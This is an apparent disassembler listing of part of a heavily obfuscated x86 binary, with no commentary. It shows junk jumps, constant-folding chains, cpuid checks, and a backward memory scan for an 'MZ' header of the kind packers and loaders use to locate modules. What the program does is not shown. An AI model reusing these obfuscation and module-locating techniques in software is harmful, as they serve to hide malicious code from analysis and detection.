; START	OF FUNCTION CHUNK FOR sub_4260B4


loc_426DBE:				; CODE XREF: sub_4260B4+Dj
		jmp	loc_42DC9E
; END OF FUNCTION CHUNK	FOR sub_4260B4
; ---------------------------------------------------------------------------


loc_426DC3:				; CODE XREF: _7hdaygc1:00423C9Aj
		jmp	loc_428BAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42874A


loc_426DC8:				; CODE XREF: sub_42874A+EEFj
		or	ebp, eax
		cdq


loc_426DCB:				; CODE XREF: _7hdaygc1:0042B405j
		rol	esi, 7
		add	esi, 7B6700FFh
		jmp	loc_42676E
; END OF FUNCTION CHUNK	FOR sub_42874A

; =============== S U B	R O U T	I N E =======================================



sub_426DD9	proc near		; DATA XREF: sub_4242E0+59D2o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042DDB0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E91B SIZE 0000001E BYTES

		push	ebx
		pushf
		push	7B3407DAh
		pop	ebx
		jmp	loc_42DDB0
sub_426DD9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED4E


loc_426DE6:				; CODE XREF: sub_42ED4E+6j
		xor	edx, edx
		cpuid
		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx
		jmp	loc_4284F3
; END OF FUNCTION CHUNK	FOR sub_42ED4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424359


loc_426DF5:				; CODE XREF: sub_424359+10j
		add	ecx, 3BF25787h
		xchg	ecx, [esp+8+var_8]
		jmp	loc_428215
; END OF FUNCTION CHUNK	FOR sub_424359
; ---------------------------------------------------------------------------


loc_426E03:				; CODE XREF: _7hdaygc1:loc_428A5Ej
		pop	ebx
		add	ebx, 6710962Fh
		and	ebx, 0FEAC36FBh
		sub	ebx, 8E5DCEABh
		xor	ebx, 2D916AEDh
		add	ebx, ebp
		jmp	loc_4294DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_426E23:				; CODE XREF: sub_42E283:loc_42E2F6j
		jnz	loc_4243A0
		jmp	loc_42989F
; END OF FUNCTION CHUNK	FOR sub_42E283

; =============== S U B	R O U T	I N E =======================================



sub_426E2E	proc near		; DATA XREF: sub_42CFDA+2C49o

; FUNCTION CHUNK AT 00424D2D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00428D1A SIZE 00000016 BYTES

		add	edx, 0E2A2816Ah
		add	edx, ebp
		add	edx, 0FA37DD80h
		mov	edx, [edx]
		jmp	loc_428D1A
sub_426E2E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C2C


loc_426E43:				; CODE XREF: sub_425C2C+4DD0j
		ror	ebx, 17h
		jmp	loc_424BDD
; END OF FUNCTION CHUNK	FOR sub_425C2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B5B


loc_426E4B:				; CODE XREF: sub_428B5B+9j
		add	eax, 28h
		mov	[ebp-4], eax
		call	sub_425FCB


loc_426E56:				; CODE XREF: sub_424E9C+58AFj
		jmp	loc_4251A5
; END OF FUNCTION CHUNK	FOR sub_428B5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB83


loc_426E5B:				; CODE XREF: sub_42BB83-784Dj
		jmp	loc_42597B
; END OF FUNCTION CHUNK	FOR sub_42BB83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_426E60:				; CODE XREF: sub_423648-497j
		jmp	loc_4257CD
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241F3


loc_426E65:				; CODE XREF: sub_4241F3:loc_4241EDj
		jge	loc_42B77C
; END OF FUNCTION CHUNK	FOR sub_4241F3
; START	OF FUNCTION CHUNK FOR sub_42B470


loc_426E6B:				; CODE XREF: sub_42B470-40E2j
		jmp	loc_42F768
; END OF FUNCTION CHUNK	FOR sub_42B470
; ---------------------------------------------------------------------------
		cmp	ebp, 38AA9F52h
		jmp	loc_42F572
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_426E7B:				; CODE XREF: sub_423648:loc_42D7CFj
		jnz	loc_42D112
		mov	eax, 6
		push	offset loc_42717B
		jmp	nullsub_60
; END OF FUNCTION CHUNK	FOR sub_423648
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_426E91:				; CODE XREF: sub_42AFFE-1CEDj
		push	offset sub_428A03
		jmp	nullsub_106
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
		adc	esi, 0BD6CA44Fh
		jmp	loc_42ADFB
; ---------------------------------------------------------------------------
		sbb	ebp, 0F10435F1h
		and	ebx, edx
		jmp	sub_42ED70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B5B


loc_426EB3:				; CODE XREF: sub_428B5B+279Dj
		jp	loc_427218
		sub	eax, ebx
		add	edi, eax
; END OF FUNCTION CHUNK	FOR sub_428B5B

; =============== S U B	R O U T	I N E =======================================



sub_426EBD	proc near		; CODE XREF: sub_428B5B:loc_42C91Fj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004235FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004247AB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428B2B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042BDDE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042E466 SIZE 0000001B BYTES

		push	ebx
		push	6EC426DFh
		pop	ebx
		jmp	loc_42BDDE
sub_426EBD	endp

; ---------------------------------------------------------------------------


loc_426EC9:				; CODE XREF: _7hdaygc1:0042A7EAj
		push	esi
		rol	ecx, 0Eh
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_426ECD:				; CODE XREF: sub_425E64:loc_42A7D4j
		sub	ecx, 3ACEDCD7h
		add	ecx, 62B860A2h
		xchg	ecx, [esp+0]
		jmp	loc_42DC08
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424963


loc_426EE1:				; CODE XREF: sub_424963:loc_42B40Bj
		xor	edx, 8136242Dh
		and	edx, 7A44418Ah
		rol	edx, 0Fh
		cmp	edx, 0E38A6668h
		jmp	loc_42D6F5
; END OF FUNCTION CHUNK	FOR sub_424963
; ---------------------------------------------------------------------------
		push	0BB39EB9Dh
		jmp	sub_42742E

; =============== S U B	R O U T	I N E =======================================



sub_426F05	proc near		; CODE XREF: _7hdaygc1:004271BDj
					; sub_42D9E1:loc_4280F2p

; FUNCTION CHUNK AT 00426911 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004271D7 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		rol	eax, 19h
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+0]
		jmp	loc_4271D7
sub_426F05	endp

; ---------------------------------------------------------------------------


loc_426F17:				; CODE XREF: _7hdaygc1:00429C85j
		xor	ecx, 4DA40A61h
		or	ecx, 65377362h
		sub	ecx, 0A31F4A5h
		add	ecx, 14BD68CFh
		xchg	ecx, [esp]
		jmp	loc_4284DD
; ---------------------------------------------------------------------------


loc_426F37:				; DATA XREF: sub_4288FE-42F4o
		xchg	eax, [esp]
		push	0FFFFFFFFh
		push	offset sub_42E43B
		jmp	locret_42D127
; ---------------------------------------------------------------------------


loc_426F46:				; CODE XREF: _7hdaygc1:loc_427ED8j
		xchg	eax, [esp]
		push	offset loc_428CC9
		jmp	locret_42DE40

; =============== S U B	R O U T	I N E =======================================



sub_426F53	proc near		; CODE XREF: sub_428B11+29A9p
					; _7hdaygc1:0042D153j
		xchg	edx, [esp+0]
		pop	edx
		push	edx
		push	0CCEE41B5h
		pop	edx
sub_426F53	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42E0C4


loc_426F5E:				; CODE XREF: sub_42E0C4-1A4j
		rol	edx, 0Ch
		add	edx, 736D053Eh
		jmp	loc_428EB1
; END OF FUNCTION CHUNK	FOR sub_42E0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A62


loc_426F6C:				; CODE XREF: sub_426A62+6195j
		jz	loc_428D63
		jmp	loc_42BD15
; END OF FUNCTION CHUNK	FOR sub_426A62
; ---------------------------------------------------------------------------

locret_426F77:				; CODE XREF: _7hdaygc1:0042AA80j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6C3


loc_426F78:				; CODE XREF: sub_42A6C3+37D8j
		jmp	loc_4263B7
; END OF FUNCTION CHUNK	FOR sub_42A6C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF91


loc_426F7D:				; CODE XREF: sub_42EF91:loc_4251E3j
		jmp	loc_4241A3
; END OF FUNCTION CHUNK	FOR sub_42EF91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ABF7


loc_426F82:				; CODE XREF: sub_42ABF7-6E21j
		or	ebp, 31D5E039h
		cmp	esi, edx
		jmp	loc_42FD9F
; END OF FUNCTION CHUNK	FOR sub_42ABF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_426F8F:				; CODE XREF: sub_424F62+8843j
		sub	eax, esi
		xor	ecx, esi
		adc	ebx, 6B9CD429h


loc_426F99:				; CODE XREF: sub_424F62:loc_42A35Dj
		add	dword ptr [esi], 0F80486h
; END OF FUNCTION CHUNK	FOR sub_424F62
; START	OF FUNCTION CHUNK FOR sub_424CE0


loc_426F9F:				; CODE XREF: _7hdaygc1:00423AF8j
					; _7hdaygc1:0042713Ej ...
		xchg	ebp, [esp+0]


loc_426FA2:				; CODE XREF: sub_424680+A451j
		mov	edi, ebp
		jmp	loc_42688C
; END OF FUNCTION CHUNK	FOR sub_424CE0
; ---------------------------------------------------------------------------

locret_426FA9:				; CODE XREF: _7hdaygc1:loc_427D0Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB61


loc_426FAA:				; CODE XREF: sub_42BB61+1836j
		jmp	sub_42828C
; END OF FUNCTION CHUNK	FOR sub_42BB61
; ---------------------------------------------------------------------------


loc_426FAF:				; DATA XREF: sub_42D471:loc_42D474o
		xchg	ecx, [esp]
		mov	ebp, esp
		jno	loc_426D5E
		add	esp, 0FFFFFFF4h
		jmp	loc_42BC50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_426FC2:				; CODE XREF: sub_424F62:loc_42C60Dj
		cmp	esi, 85E4394Ah
		jmp	loc_42AEC3
; END OF FUNCTION CHUNK	FOR sub_424F62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EE8A


loc_426FCD:				; CODE XREF: sub_42EE8A:loc_424FAAj
		jl	loc_425AC6
		cmp	ecx, ebp
		jmp	loc_42711D
; END OF FUNCTION CHUNK	FOR sub_42EE8A
; ---------------------------------------------------------------------------

locret_426FDA:				; CODE XREF: _7hdaygc1:0042D6E0j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B74A


loc_426FDB:				; CODE XREF: _7hdaygc1:loc_42BE3Ej
					; sub_42B74A:loc_42D066j
		pop	ebx
		and	ebx, 0BE71F483h
		xor	ebx, 6F2A1FA7h
		add	ebx, ebp
		push	offset loc_42C4C1
		jmp	nullsub_193
; END OF FUNCTION CHUNK	FOR sub_42B74A
; ---------------------------------------------------------------------------
		push	5B61B4F2h
		shr	edx, 0Dh
		jmp	sub_42BCF6
; ---------------------------------------------------------------------------


loc_427001:				; CODE XREF: _7hdaygc1:0042A54Aj
		jnp	loc_42C543
		js	loc_42F244
		jmp	sub_42C443
; ---------------------------------------------------------------------------


loc_427012:				; DATA XREF: sub_42E283-9DB7o
		push	edx
		push	0B2FCE2Bh
		pop	edx
		or	edx, 52E47199h
		xor	edx, 271F823Eh
		add	ebp, edx
		pop	edx
		jmp	loc_4261A9
; ---------------------------------------------------------------------------
		add	edx, eax
		jmp	sub_42D031
; ---------------------------------------------------------------------------
		test	edx, ebp
		jmp	loc_429613
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E58D


loc_42703C:				; CODE XREF: sub_42E58D+1j
		jmp	loc_42DC0D
; END OF FUNCTION CHUNK	FOR sub_42E58D
; ---------------------------------------------------------------------------
		pop	esi
		jmp	loc_425BAC
; ---------------------------------------------------------------------------


loc_427047:				; DATA XREF: sub_428342+1o
		mov	ebp, esp
		push	offset sub_424AA8
		jmp	locret_425938
; ---------------------------------------------------------------------------


loc_427053:				; CODE XREF: _7hdaygc1:loc_42A0EDj
		xchg	ebp, [edx]
		xor	ebp, 5C7E96F2h
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42705B:				; CODE XREF: sub_42C16F:loc_42A0D0j
		add	edx, 140FB60Ah
		add	edx, ebp
		add	edx, 0CBEC29F0h
		mov	edx, [edx]
		jmp	loc_428404
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------


loc_427070:				; CODE XREF: _7hdaygc1:loc_42E5E5j
		jl	loc_4257FA
; START	OF FUNCTION CHUNK FOR sub_423A6D


loc_427076:				; CODE XREF: sub_423A6D:loc_423A78j
		jmp	loc_42365D
; END OF FUNCTION CHUNK	FOR sub_423A6D
; ---------------------------------------------------------------------------
		xor	ecx, edx
		sbb	ebp, 478C7B43h
		jmp	loc_4257F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_427088:				; CODE XREF: sub_42C443:loc_42EBAEj
		mov	edx, 0FFFFFFFFh
		push	edx
		push	edx
		mov	edx, eax
		push	offset loc_42F4DF
		jmp	loc_42F6D3
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425492


loc_42709B:				; CODE XREF: sub_425492+6j
		cmp	ds:dword_42B9B8, 0
		jnz	loc_423E70
		jmp	loc_42A282
; END OF FUNCTION CHUNK	FOR sub_425492
; ---------------------------------------------------------------------------
		jb	loc_42A40D
		jmp	sub_42E168
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_4270B8:				; CODE XREF: sub_423172:loc_4239FDj
		jnz	loc_424E4D
		jmp	loc_42623D
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_425816
; ---------------------------------------------------------------------------


loc_4270C9:				; CODE XREF: _7hdaygc1:0042E7AEj
		jnz	loc_42326C
		jmp	loc_42F487
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_4270D4:				; CODE XREF: sub_423DFC:loc_42E5DBj
		add	eax, 155BA3Fh
		mov	eax, [eax]
		mov	ecx, [eax]
		mov	edx, [ebp-10h]
		jmp	loc_425AEE
; END OF FUNCTION CHUNK	FOR sub_423DFC

; =============== S U B	R O U T	I N E =======================================



sub_4270E6	proc near		; CODE XREF: _7hdaygc1:00424B93j
					; sub_42FA3D:loc_42FA3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423850 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00424593 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042516A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00425C7C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428088 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AE8D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042C310 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042C9F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D06C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FCC0 SIZE 0000000D BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_42AE9C
		pop	ecx


loc_4270F0:				; CODE XREF: _7hdaygc1:00423A12j
					; _7hdaygc1:loc_4265DDj ...
		mov	eax, 3FFh
		call	sub_42EF30
		add	eax, 2710h
		push	edx
		jmp	loc_42AE8D
sub_4270E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DDF5


loc_427105:				; CODE XREF: sub_42DDF5:loc_4253FBj
		call	sub_42CBC5


loc_42710A:				; CODE XREF: _7hdaygc1:loc_42AE6Fj
		add	edx, 182E1800h
		call	sub_42C1AF
		push	edi
		mov	edi, eax
		jmp	loc_4293DF
; END OF FUNCTION CHUNK	FOR sub_42DDF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EE8A


loc_42711D:				; CODE XREF: sub_42EE8A-7EB5j
		jns	sub_423C08


loc_427123:				; CODE XREF: sub_42EE8A:loc_42B162j
		or	eax, ds:4000F6h
		rol	eax, 9
		add	eax, 3B7B0BCEh
		jmp	loc_426AEC
; END OF FUNCTION CHUNK	FOR sub_42EE8A
; ---------------------------------------------------------------------------


loc_427137:				; DATA XREF: sub_428556+Bo
		cpuid
		cmp	eax, 80000000h
		jbe	loc_426F9F
		jmp	loc_42BA7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_427149:				; CODE XREF: sub_42AA07:loc_425423j
		movzx	eax, word ptr [eax+14h]
		add	eax, [ebp-4]
		add	eax, 18h
		push	offset loc_4286F4
		jmp	loc_42C9FE
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426315


loc_42715D:				; CODE XREF: sub_426315:loc_42DD27j
		push	eax
		call	sub_426CBB
		push	ebx
		push	0BF38EC43h
		pop	ebx
		xor	ebx, 908D77FCh
		add	ebx, 0D04A6445h
		jmp	loc_4286BF
; END OF FUNCTION CHUNK	FOR sub_426315
; ---------------------------------------------------------------------------


loc_42717B:				; DATA XREF: sub_423648+383Eo
		sub	eax, [ebp-4]
		mov	[ebp-4], eax
		jmp	loc_42D112

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427186	proc near		; CODE XREF: sub_42F1C6-8613p
					; sub_42F1C6-4BE0p
		push	ebp
		mov	ebp, esp
		push	offset sub_429532
		jmp	nullsub_10
sub_427186	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D8E


loc_427193:				; CODE XREF: sub_427D8E-BE9j
					; sub_427D8E+10j ...
		jno	loc_4271B0


loc_427199:				; CODE XREF: _7hdaygc1:loc_42959Cj
		push	eax
		push	0
		call	sub_42B32F
		pop	eax
		cmp	dword ptr [eax], 0
		jnz	loc_427193
		jmp	sub_427D8E
; ---------------------------------------------------------------------------


loc_4271B0:				; CODE XREF: sub_427D8E:loc_427193j
		call	sub_42951D


loc_4271B5:				; CODE XREF: sub_42948A+183Ej
		jmp	loc_42F617
; END OF FUNCTION CHUNK	FOR sub_427D8E
; ---------------------------------------------------------------------------
		shl	eax, 0Ah
		jmp	sub_426F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A92E


loc_4271C2:				; CODE XREF: sub_42A92E:loc_42CA8Bj
		jz	loc_42C59C
; END OF FUNCTION CHUNK	FOR sub_42A92E
; START	OF FUNCTION CHUNK FOR sub_42AA9B


loc_4271C8:				; CODE XREF: sub_42AA9B+2D2Ej
		jmp	loc_4261F4
; END OF FUNCTION CHUNK	FOR sub_42AA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287D8


loc_4271CD:				; CODE XREF: sub_4287D8+74Ej
		jmp	loc_42AD2B
; END OF FUNCTION CHUNK	FOR sub_4287D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425D65


loc_4271D2:				; CODE XREF: sub_425D65+2593j
		jmp	loc_42E802
; END OF FUNCTION CHUNK	FOR sub_425D65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426F05


loc_4271D7:				; CODE XREF: sub_426F05+Dj
		jmp	loc_426911
; END OF FUNCTION CHUNK	FOR sub_426F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E85F


loc_4271DC:				; CODE XREF: sub_42E85F:loc_423EE0j
		jmp	loc_4291F8
; END OF FUNCTION CHUNK	FOR sub_42E85F
; ---------------------------------------------------------------------------
		pop	ecx
		jge	loc_42DE88
		jmp	loc_42C596
; ---------------------------------------------------------------------------
		push	edi
		push	3E9B8A32h
		pop	edi
		rol	edi, 1
		add	edi, 82C8EB9Ch
		xchg	edi, [esp]
		jmp	loc_42DDCC
; ---------------------------------------------------------------------------


loc_427204:				; CODE XREF: _7hdaygc1:0042B86Cj
		jnb	loc_42B2B1
; START	OF FUNCTION CHUNK FOR sub_42D84A


loc_42720A:				; CODE XREF: sub_42D84A+BC8j
		add	ecx, 0F6B661E9h
		xchg	ecx, [esp+0]
		push	offset loc_429946


loc_427218:				; CODE XREF: sub_428B5B:loc_426EB3j
		jmp	loc_42C158
; END OF FUNCTION CHUNK	FOR sub_42D84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_42721D:				; CODE XREF: sub_4253A0:loc_42935Cj
		call	sub_42EB0D


loc_427222:				; CODE XREF: sub_42BD03+Dj
		jmp	loc_424DFB
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424494


loc_427227:				; CODE XREF: sub_424494+Bj
					; sub_425670+9j ...
		mov	eax, ds:dword_42515C
		call	sub_42B650
		mov	esp, ebp
		push	offset loc_424244
		jmp	nullsub_11
; END OF FUNCTION CHUNK	FOR sub_424494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B11


loc_42723D:				; CODE XREF: sub_428B11+6BD3j
		jnz	loc_4295D5
		jmp	loc_42E62D
; END OF FUNCTION CHUNK	FOR sub_428B11

; =============== S U B	R O U T	I N E =======================================



sub_427248	proc near		; CODE XREF: _7hdaygc1:0042CCB0p
					; _7hdaygc1:0042F836j

; FUNCTION CHUNK AT 0042A99E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042FC66 SIZE 0000000D BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		jmp	loc_42FC66
sub_427248	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_427257:				; CODE XREF: _7hdaygc1:00424CC3j
					; _7hdaygc1:loc_4260E4j
		call	sub_42FAB8
; START	OF FUNCTION CHUNK FOR sub_424680


loc_42725C:				; CODE XREF: sub_424680+64CDj
		jmp	loc_42EAC9
; END OF FUNCTION CHUNK	FOR sub_424680
; ---------------------------------------------------------------------------
		jo	loc_4253A8
		jmp	sub_427D11
; ---------------------------------------------------------------------------


loc_42726C:				; CODE XREF: _7hdaygc1:loc_42E809j
		cmp	dword ptr [ebp-0Ch], 0
		jle	loc_42AAD9
; START	OF FUNCTION CHUNK FOR sub_42C369


loc_427276:				; CODE XREF: _7hdaygc1:004248B9j
					; sub_42C369-1896j ...
		mov	eax, [ebp-8]
		movzx	eax, byte ptr [eax]
		jmp	loc_42E93F
; END OF FUNCTION CHUNK	FOR sub_42C369
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42742E


loc_427281:				; CODE XREF: sub_42742E+72A8j
		adc	edi, ebp
		jmp	loc_424C36
; END OF FUNCTION CHUNK	FOR sub_42742E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_427288:				; CODE XREF: sub_4232DA+643Aj
		rol	esi, 4
		jmp	sub_42EB0D
; END OF FUNCTION CHUNK	FOR sub_4232DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_427290:				; CODE XREF: sub_425E64+8CA4j
		adc	esi, 0CC49D1EDh
		jg	loc_42D519
		jmp	loc_42A54F
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_4272A1:				; CODE XREF: sub_4291EA-458j
		or	ebp, ecx


loc_4272A3:				; CODE XREF: sub_4291EA:loc_4260F0j
		xor	eax, 0A36718B3h
		add	eax, 64EEF958h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_425519
		jmp	loc_42C990
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_4272BE:				; CODE XREF: sub_423172+3325j
		mov	ecx, eax
		xchg	ecx, [esp-4+arg_0]
		call	sub_42B650
		retn
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 4Ch
		db 0Ch,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4272CF	proc near		; CODE XREF: sub_42AD16:loc_42BDA8p

; FUNCTION CHUNK AT 0042A3F0 SIZE 00000002 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	esp, ebp
		jmp	loc_42A3F0
sub_4272CF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A62


loc_4272DA:				; CODE XREF: sub_426A62:loc_426281j
		sub	eax, 0AD042A5h
		and	eax, 9264DB03h
		add	eax, 6DDBC100h
		call	sub_42828C
		push	offset sub_42E973
		jmp	loc_42DC31
; END OF FUNCTION CHUNK	FOR sub_426A62

; =============== S U B	R O U T	I N E =======================================



sub_4272FB	proc near		; CODE XREF: _7hdaygc1:loc_427FA0j
					; _7hdaygc1:0042CFF2j ...

; FUNCTION CHUNK AT 00424935 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426B12 SIZE 00000008 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ebx
		push	2E820EBh
		pop	ebx
		xor	ebx, 21B70E69h
		or	ebx, 7B519474h
		add	ebx, 84E305DEh
		jmp	loc_424935
sub_4272FB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426BF7


loc_42731D:				; CODE XREF: sub_426BF7:loc_428609j
		mov	eax, [eax]
		push	eax
		call	sub_426CBB
		push	8EC6FAE5h
		pop	eax
		add	eax, 832EAC07h
		jmp	loc_427EDD
; END OF FUNCTION CHUNK	FOR sub_426BF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DAF7


loc_427336:				; CODE XREF: sub_42DAF7:loc_425160j
		add	eax, 0DCD09C4Fh
		mov	eax, [eax]
		push	eax
		push	edi
		mov	edi, esi
		xchg	edi, [esp+8+var_8]
		push	427144ACh


loc_42734A:				; CODE XREF: _7hdaygc1:loc_42F961j
		xor	esi, ebx
		jmp	loc_4290E9
; END OF FUNCTION CHUNK	FOR sub_42DAF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_427351:				; CODE XREF: sub_42AA07:loc_42AA0Cj
		rol	eax, 3
		cmp	eax, 4D7139D1h
		jmp	loc_4231C6
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------

locret_42735F:				; CODE XREF: _7hdaygc1:00423325j
		retn
; ---------------------------------------------------------------------------


loc_427360:				; CODE XREF: _7hdaygc1:0042E310j
		jmp	loc_428DA8
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 16h
		dd 0E9FFFFD1h, 2B4Bh, 840FC084h, 837Bh,	0FFD0BEE9h
; ---------------------------------------------------------------------------
		call	dword ptr [eax-3Fh] ; DATA XREF: sub_42C002:loc_4273D9o
		enter	0FFFFE804h, 41h
		add	byte ptr [eax],	0
; START	OF FUNCTION CHUNK FOR sub_42B470


loc_427386:				; CODE XREF: sub_42B470:loc_427E71j
		mov	esi, ecx
		xchg	esi, [esp+8+var_8]
		mov	esp, ebp
		pop	ebp
		jmp	loc_426E6B
; END OF FUNCTION CHUNK	FOR sub_42B470
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B9E1


loc_427393:				; CODE XREF: sub_42B9E1:loc_42B9EAj
		sub	ebx, 10000h
		mov	eax, [ebx]
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_42B9EA
		jmp	nullsub_39
; END OF FUNCTION CHUNK	FOR sub_42B9E1
; ---------------------------------------------------------------------------


loc_4273AC:				; CODE XREF: _7hdaygc1:00424319j
		jnp	loc_428ADB
		pop	ebp
		jmp	sub_42862C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42524F


loc_4273B8:				; CODE XREF: sub_42524F:loc_4236D6j
		call	sub_429E35
; END OF FUNCTION CHUNK	FOR sub_42524F
; START	OF FUNCTION CHUNK FOR sub_42F05E


loc_4273BD:				; CODE XREF: sub_42F05E:loc_42DA91j
		call	sub_4252C8


loc_4273C2:				; CODE XREF: _7hdaygc1:0042548Dj
		jmp	loc_423036
; END OF FUNCTION CHUNK	FOR sub_42F05E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_4273C7:				; CODE XREF: sub_429318+6593j
		ror	ebx, 12h
; END OF FUNCTION CHUNK	FOR sub_429318

; =============== S U B	R O U T	I N E =======================================



sub_4273CA	proc near		; CODE XREF: sub_423DDB+BEBBp

